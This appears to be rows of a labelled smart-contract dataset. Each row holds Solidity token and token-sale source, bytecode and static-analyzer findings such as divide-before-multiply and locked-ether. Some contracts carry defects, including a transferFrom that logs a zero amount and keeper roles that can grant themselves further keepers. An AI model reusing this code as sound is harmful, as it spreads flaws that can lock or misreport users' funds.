if(block.timestamp <= saleStart.add(1 hours)) // within the first hour
require(whitelisted[msg.sender], "Only whitelisted addresses allowed during 1st hour");
require(ethsReceived < ethCap, "100 ether cap is reached");
_;
}
receive() external payable saleOpen{
uint256 investment = msg.value;
if(ethsReceived.add(investment) > ethCap){
investment = ethCap.sub(ethsReceived);
// return the extra investment
msg.sender.transfer(msg.value.sub(investment));
}
uint256 tokens = getTokenAmount(investment);
require(_transfer(msg.sender, tokens), "Sale is over");
// send received funds to the owner
owner.transfer(investment);
ethsReceived = ethsReceived.add(investment);
}
function getTokenAmount(uint256 amount) private pure returns(uint256){
return (amount.mul(10)); // 10 tokens per ether
}
function burnUnSoldTokens() external onlyOwner{
require(ethsReceived >= ethCap, "sale is not close");
burnTokens(balances[address(this)]);
}
function _transfer(address to, uint256 tokens) private returns(bool){
// prevent transfer to 0x0, use burn instead
require(address(to) != address(0));
require(balances[address(this)] >= tokens, "Insufficient tokens in contract");
balances[address(this)] = balances[address(this)].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(address(this),to,tokens);
return true;
}
// ------------------------------------------------------------------------
// Whitelist the batch of users
// @param `users` the array of addresses of the users to be whitelisted
// only allowed by owner
// ------------------------------------------------------------------------
function addToWhitelist(address[] calldata users) external onlyOwner{
require(users.length <= 20, "Max batch allowed is 20");
for(uint256 i = 0; i< users.length; i++)
{
whitelisted[users[i]] = true;
}
}
/** ERC20Interface function's implementation **/
function totalSupply() external override view returns (uint256){
return _totalSupply;
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) external override view returns (uint256 balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
// ------------------------------------------------------------------------
function approve(address spender, uint256 tokens) external override returns (bool success){
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender,spender,tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) external override view returns (uint256 remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint256 tokens) public override returns (bool success) {
// prevent transfer to 0x0, use burn instead
require(address(to) != address(0));
require(balances[msg.sender] >= tokens );
require(balances[to] + tokens >= balances[to]);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint256 tokens) external override returns (bool success){
require(tokens <= allowed[from][msg.sender]); //check allowance
require(balances[from] >= tokens);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens.sub(tokens));
return true;
}
// ------------------------------------------------------------------------
// Burn the `value` amount of tokens from the `account`
// ------------------------------------------------------------------------
function burnTokens(uint256 value) private{
require(_totalSupply >= value); // burn only unsold tokens
_totalSupply = _totalSupply.sub(value);
balances[address(this)] = balances[address(this)].sub(value);
emit Transfer(address(this), address(0), value);
}
}
|
0x6080604052600436106100e15760003560e01c806370a082311161007f57806395d89b411161005957806395d89b4114610510578063a9059cbb14610525578063dd62ed3e1461055e578063f2fde38b14610599576102a8565b806370a082311461042f5780637f649783146104625780638da5cb5b146104df576102a8565b80631aaf6401116100bb5780631aaf6401146103ab57806323b872dd146103c2578063313ce56714610405578063682163811461041a576102a8565b806306fdde03146102ad578063095ea7b31461033757806318160ddd14610384576102a8565b366102a8576007546100f590610e106105cc565b421161014957336000908152600a602052604090205460ff166101495760405162461bcd60e51b8152600401808060200182810382526032815260200180610f546032913960400191505060405180910390fd5b600954600854106101a1576040805162461bcd60e51b815260206004820152601860248201527f3130302065746865722063617020697320726561636865640000000000000000604482015290519081900360640190fd5b6009546008543491906101b490836105cc565b1115610203576008546009546101c99161062f565b9050336108fc6101d9348461062f565b6040518115909202916000818181858888f19350505050158015610201573d6000803e3d6000fd5b505b600061020e82610671565b905061021a338261067e565b61025a576040805162461bcd60e51b815260206004820152600c60248201526b29b0b6329034b99037bb32b960a11b604482015290519081900360640190fd5b600080546040516001600160a01b039091169184156108fc02918591818181858888f19350505050158015610293573d6000803e3d6000fd5b506008546102a190836105cc565b6008555050005b600080fd5b3480156102b957600080fd5b506102c2610789565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102fc5781810151838201526020016102e4565b50505050905090810190601f1680156103295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561034357600080fd5b506103706004803603604081101561035a57600080fd5b506001600160a01b038135169060200135610814565b604080519115158252519081900360200190f35b34801561039057600080fd5b5061039961087a565b60408051918252519081900360200190f35b3480156103b757600080fd5b506103c0610880565b005b3480156103ce57600080fd5b50610370600480360360608110156103e557600080fd5b506001600160a01b0381358116916020810135909116906040013561093f565b34801561041157600080fd5b50610399610a7f565b34801561042657600080fd5b50610399610a85565b34801561043b57600080fd5b506103996004803603602081101561045257600080fd5b50356001600160a01b0316610a8b565b34801561046e57600080fd5b506103c06004803603602081101561048557600080fd5b8101906020810181356401000000008111156104a057600080fd5b8201836020820111156104b257600080fd5b803590602001918460208302840111640100000000831117156104d457600080fd5b509092509050610aa6565b3480156104eb57600080fd5b506104f4610bae565b604080516001600160a01b039092168252519081900360200190f35b34801561051c57600080fd5b506102c2610bbd565b34801561053157600080fd5b506103706004803603604081101561054857600080fd5b506001600160a01b038135169060200135610c17565b34801561056a57600080fd5b506103996004803603604081101561058157600080fd5b506001600160a01b0381358116916020013516610d01565b3480156105a557600080fd5b506103c0600480360360208110156105bc57600080fd5b50356001600160a01b0316610d2c565b600082820183811015610626576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b90505b92915050565b600061062683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dce565b600061062982600a610e65565b60006001600160a01b03831661069357600080fd5b306000908152600560205260409020548211156106f7576040805162461bcd60e51b815260206004820152601f60248201527f496e73756666696369656e7420746f6b656e7320696e20636f6e747261637400604482015290519081900360640190fd5b30600090815260056020526040902054610711908361062f565b30600090815260056020526040808220929092556001600160a01b0385168152205461073d90836105cc565b6001600160a01b038416600081815260056020908152604091829020939093558051858152905191923092600080516020610f868339815191529281900390910190a350600192915050565b6002805460408051602060018416156101000260001901909316849004601f8101849004840282018401909252818152929183018282801561080c5780601f106107e15761010080835404028352916020019161080c565b820191906000526020600020905b8154815290600101906020018083116107ef57829003601f168201915b505050505081565b3360008181526006602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60045490565b6000546001600160a01b031633146108d7576040805162461bcd60e51b815260206004820152601560248201527427b7363c9030b63637bbb2b210313c9037bbb732b960591b604482015290519081900360640190fd5b6009546008541015610924576040805162461bcd60e51b815260206004820152601160248201527073616c65206973206e6f7420636c6f736560781b604482015290519081900360640190fd5b3060009081526005602052604090205461093d90610ebe565b565b6001600160a01b038316600090815260066020908152604080832033845290915281205482111561096f57600080fd5b6001600160a01b03841660009081526005602052604090205482111561099457600080fd5b6001600160a01b0384166000908152600560205260409020546109b7908361062f565b6001600160a01b03851660009081526005602090815260408083209390935560068152828220338352905220546109ee908361062f565b6001600160a01b038086166000908152600660209081526040808320338452825280832094909455918616815260059091522054610a2c90836105cc565b6001600160a01b038085166000818152600560205260409020929092558516600080516020610f86833981519152610a64858061062f565b60408051918252519081900360200190a35060019392505050565b60035481565b60085481565b6001600160a01b031660009081526005602052604090205490565b6000546001600160a01b03163314610afd576040805162461bcd60e51b815260206004820152601560248201527427b7363c9030b63637bbb2b210313c9037bbb732b960591b604482015290519081900360640190fd5b6014811115610b53576040805162461bcd60e51b815260206004820152601760248201527f4d617820626174636820616c6c6f776564206973203230000000000000000000604482015290519081900360640190fd5b60005b81811015610ba9576001600a6000858585818110610b7057fe5b602090810292909201356001600160a01b0316835250810191909152604001600020805460ff1916911515919091179055600101610b56565b505050565b6000546001600160a01b031681565b60018054604080516020600284861615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561080c5780601f106107e15761010080835404028352916020019161080c565b60006001600160a01b038316610c2c57600080fd5b33600090815260056020526040902054821115610c4857600080fd5b6001600160a01b0383166000908152600560205260409020548281011015610c6f57600080fd5b33600090815260056020526040902054610c89908361062f565b33600090815260056020526040808220929092556001600160a01b03851681522054610cb590836105cc565b6001600160a01b038416600081815260056020908152604091829020939093558051858152905191923392600080516020610f868339815191529281900390910190a350600192915050565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6000546001600160a01b03163314610d83576040805162461bcd60e51b815260206004820152601560248201527427b7363c9030b63637bbb2b210313c9037bbb732b960591b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b60008184841115610e5d5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610e22578181015183820152602001610e0a565b50505050905090810190601f168015610e4f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082610e7457506000610629565b82820282848281610e8157fe5b04146106265760405162461bcd60e51b8152600401808060200182810382526021815260200180610f336021913960400191505060405180910390fd5b806004541015610ecd57600080fd5b600454610eda908261062f565b60045530600090815260056020526040902054610ef7908261062f565b30600081815260056020908152604080832094909455835185815293519193600080516020610f86833981519152929081900390910190a35056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f6e6c792077686974656c69737465642061646472657373657320616c6c6f77656420647572696e672031737420686f7572ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220c466044da8335151aae6997186de5b867217d52cf3705e071f33444fb2bfc70c64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 3,556 |
0x931372CAC4E6e6c943602BA7ADc9937c39F0C688
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
interface IERC20Token {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
function mintTo(address to, uint256 amount) external returns (bool);
function burn(address account, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract INRT is Context, IERC20Token, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private keeperMap;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
bool public stopped;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 2;
stopped = false;
}
modifier ownerOrKeeper(address addr) {
require((owner() == msg.sender) || isKeeper(addr), "caller is not the owner or keeper");
_;
}
function setKeeper(address addr) public ownerOrKeeper(msg.sender) {
keeperMap[addr] = true;
}
function removeKeeper(address addr) public ownerOrKeeper(msg.sender) {
keeperMap[addr] = false;
}
function isKeeper(address addr) public view returns (bool) {
require((owner() == msg.sender) || keeperMap[msg.sender], "caller is not the owner or keeper");
return keeperMap[addr];
}
modifier stoppable {
require(!stopped);
_;
}
function stop() public ownerOrKeeper(msg.sender) payable {
stopped = true;
}
function start() public ownerOrKeeper(msg.sender) payable {
stopped = false;
}
function mintTo(address to, uint256 amount) override public returns (bool) {
require((owner() == msg.sender) || isKeeper(msg.sender), "caller is not the owner or keeper");
_mint(to, amount);
return true;
}
function burn(address account, uint256 amount) override public returns (bool) {
require((owner() == msg.sender) || isKeeper(msg.sender), "caller is not the owner or keeper");
_burn(account, amount);
return true;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'transfer amount exceeds allowance')
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'decreased allowance below zero')
);
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), 'transfer from the zero address');
require(recipient != address(0), 'transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal stoppable {
require(account != address(0), 'mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), 'approve from the zero address');
require(spender != address(0), 'approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, 'burn amount exceeds allowance')
);
}
}
|
0x60806040526004361061014b5760003560e01c8063748747e6116100b6578063a0712d681161006f578063a0712d68146104c2578063a457c2d7146104ec578063a9059cbb14610525578063be9a65551461055e578063dd62ed3e14610566578063f2fde38b146105a15761014b565b8063748747e6146103e657806375f12b2114610419578063893d20e81461042e5780638da5cb5b1461045f57806395d89b41146104745780639dc29fac146104895761014b565b8063313ce56711610108578063313ce567146102ce57806339509351146102f9578063449a52f8146103325780636ba42aaa1461036b57806370a082311461039e578063715018a6146103d15761014b565b806306fdde031461015057806307da68f5146101da578063095ea7b3146101e457806314ae9f2e1461023157806318160ddd1461026457806323b872dd1461028b575b600080fd5b34801561015c57600080fd5b506101656105d4565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561019f578181015183820152602001610187565b50505050905090810190601f1680156101cc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101e261066a565b005b3480156101f057600080fd5b5061021d6004803603604081101561020757600080fd5b506001600160a01b0381351690602001356106da565b604080519115158252519081900360200190f35b34801561023d57600080fd5b506101e26004803603602081101561025457600080fd5b50356001600160a01b03166106f7565b34801561027057600080fd5b50610279610777565b60408051918252519081900360200190f35b34801561029757600080fd5b5061021d600480360360608110156102ae57600080fd5b506001600160a01b0381358116916020810135909116906040013561077d565b3480156102da57600080fd5b506102e3610804565b6040805160ff9092168252519081900360200190f35b34801561030557600080fd5b5061021d6004803603604081101561031c57600080fd5b506001600160a01b03813516906020013561080d565b34801561033e57600080fd5b5061021d6004803603604081101561035557600080fd5b506001600160a01b03813516906020013561085b565b34801561037757600080fd5b5061021d6004803603602081101561038e57600080fd5b50356001600160a01b03166108c4565b3480156103aa57600080fd5b50610279600480360360208110156103c157600080fd5b50356001600160a01b031661094d565b3480156103dd57600080fd5b506101e2610968565b3480156103f257600080fd5b506101e26004803603602081101561040957600080fd5b50356001600160a01b0316610a1c565b34801561042557600080fd5b5061021d610a9f565b34801561043a57600080fd5b50610443610aad565b604080516001600160a01b039092168252519081900360200190f35b34801561046b57600080fd5b50610443610abc565b34801561048057600080fd5b50610165610acb565b34801561049557600080fd5b5061021d600480360360408110156104ac57600080fd5b506001600160a01b038135169060200135610b2c565b3480156104ce57600080fd5b5061021d600480360360208110156104e557600080fd5b5035610b95565b3480156104f857600080fd5b5061021d6004803603604081101561050f57600080fd5b506001600160a01b038135169060200135610c1a565b34801561053157600080fd5b5061021d6004803603604081101561054857600080fd5b506001600160a01b038135169060200135610c9f565b6101e2610cb3565b34801561057257600080fd5b506102796004803603604081101561058957600080fd5b506001600160a01b0381358116916020013516610d1f565b3480156105ad57600080fd5b506101e2600480360360208110156105c457600080fd5b50356001600160a01b0316610d4a565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106605780601f1061063557610100808354040283529160200191610660565b820191906000526020600020905b81548152906001019060200180831161064357829003601f168201915b5050505050905090565b3380610674610abc565b6001600160a01b0316148061068d575061068d816108c4565b6106c85760405162461bcd60e51b81526004018080602001828103825260218152602001806114986021913960400191505060405180910390fd5b506007805461ff001916610100179055565b60006106ee6106e7610dc0565b8484610dc4565b50600192915050565b3380610701610abc565b6001600160a01b0316148061071a575061071a816108c4565b6107555760405162461bcd60e51b81526004018080602001828103825260218152602001806114986021913960400191505060405180910390fd5b506001600160a01b03166000908152600360205260409020805460ff19169055565b60045490565b600061078a848484610edc565b6107fa84610796610dc0565b6107f5856040518060600160405280602181526020016114b9602191396001600160a01b038a166000908152600260205260408120906107d4610dc0565b6001600160a01b031681526020810191909152604001600020549190611078565b610dc4565b5060019392505050565b60075460ff1690565b60006106ee61081a610dc0565b846107f5856002600061082b610dc0565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549061110f565b600033610866610abc565b6001600160a01b0316148061087f575061087f336108c4565b6108ba5760405162461bcd60e51b81526004018080602001828103825260218152602001806114986021913960400191505060405180910390fd5b6106ee8383611170565b6000336108cf610abc565b6001600160a01b031614806108f357503360009081526003602052604090205460ff165b61092e5760405162461bcd60e51b81526004018080602001828103825260218152602001806114986021913960400191505060405180910390fd5b506001600160a01b031660009081526003602052604090205460ff1690565b6001600160a01b031660009081526001602052604090205490565b610970610dc0565b6000546001600160a01b039081169116146109d2576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b3380610a26610abc565b6001600160a01b03161480610a3f5750610a3f816108c4565b610a7a5760405162461bcd60e51b81526004018080602001828103825260218152602001806114986021913960400191505060405180910390fd5b506001600160a01b03166000908152600360205260409020805460ff19166001179055565b600754610100900460ff1681565b6000610ab7610abc565b905090565b6000546001600160a01b031690565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106605780601f1061063557610100808354040283529160200191610660565b600033610b37610abc565b6001600160a01b03161480610b505750610b50336108c4565b610b8b5760405162461bcd60e51b81526004018080602001828103825260218152602001806114986021913960400191505060405180910390fd5b6106ee838361126b565b6000610b9f610dc0565b6000546001600160a01b03908116911614610c01576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610c12610c0c610dc0565b83611170565b506001919050565b60006106ee610c27610dc0565b846107f5856040518060400160405280601e81526020017f64656372656173656420616c6c6f77616e63652062656c6f77207a65726f000081525060026000610c6e610dc0565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611078565b60006106ee610cac610dc0565b8484610edc565b3380610cbd610abc565b6001600160a01b03161480610cd65750610cd6816108c4565b610d115760405162461bcd60e51b81526004018080602001828103825260218152602001806114986021913960400191505060405180910390fd5b506007805461ff0019169055565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b610d52610dc0565b6000546001600160a01b03908116911614610db4576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610dbd8161138f565b50565b3390565b6001600160a01b038316610e1f576040805162461bcd60e51b815260206004820152601d60248201527f617070726f76652066726f6d20746865207a65726f2061646472657373000000604482015290519081900360640190fd5b6001600160a01b038216610e7a576040805162461bcd60e51b815260206004820152601b60248201527f617070726f766520746f20746865207a65726f20616464726573730000000000604482015290519081900360640190fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610f37576040805162461bcd60e51b815260206004820152601e60248201527f7472616e736665722066726f6d20746865207a65726f20616464726573730000604482015290519081900360640190fd5b6001600160a01b038216610f92576040805162461bcd60e51b815260206004820152601c60248201527f7472616e7366657220746f20746865207a65726f206164647265737300000000604482015290519081900360640190fd5b604080518082018252601f81527f7472616e7366657220616d6f756e7420657863656564732062616c616e6365006020808301919091526001600160a01b038616600090815260019091529190912054610fed918390611078565b6001600160a01b03808516600090815260016020526040808220939093559084168152205461101c908261110f565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156111075760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156110cc5781810151838201526020016110b4565b50505050905090810190601f1680156110f95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015611169576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b600754610100900460ff161561118557600080fd5b6001600160a01b0382166111e0576040805162461bcd60e51b815260206004820152601860248201527f6d696e7420746f20746865207a65726f20616464726573730000000000000000604482015290519081900360640190fd5b6004546111ed908261110f565b6004556001600160a01b038216600090815260016020526040902054611213908261110f565b6001600160a01b03831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b0382166112c6576040805162461bcd60e51b815260206004820152601a60248201527f6275726e2066726f6d20746865207a65726f2061646472657373000000000000604482015290519081900360640190fd5b604080518082018252601b81527f6275726e20616d6f756e7420657863656564732062616c616e636500000000006020808301919091526001600160a01b038516600090815260019091529190912054611321918390611078565b6001600160a01b038316600090815260016020526040902055600454611347908261142f565b6004556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b0381166113d45760405162461bcd60e51b81526004018080602001828103825260268152602001806114726026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600061116983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061107856fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737363616c6c6572206973206e6f7420746865206f776e6572206f72206b65657065727472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204d33416a36bedd80f4236d4d5f4eb1c042092a2762e0a6c1e9c7bf1d61d5e0c264736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 3,557 |
0xac6a535f0fb3a3bfbd81ed3a8fe83d590c3644de
|
/*
SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract KAMABOKO is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
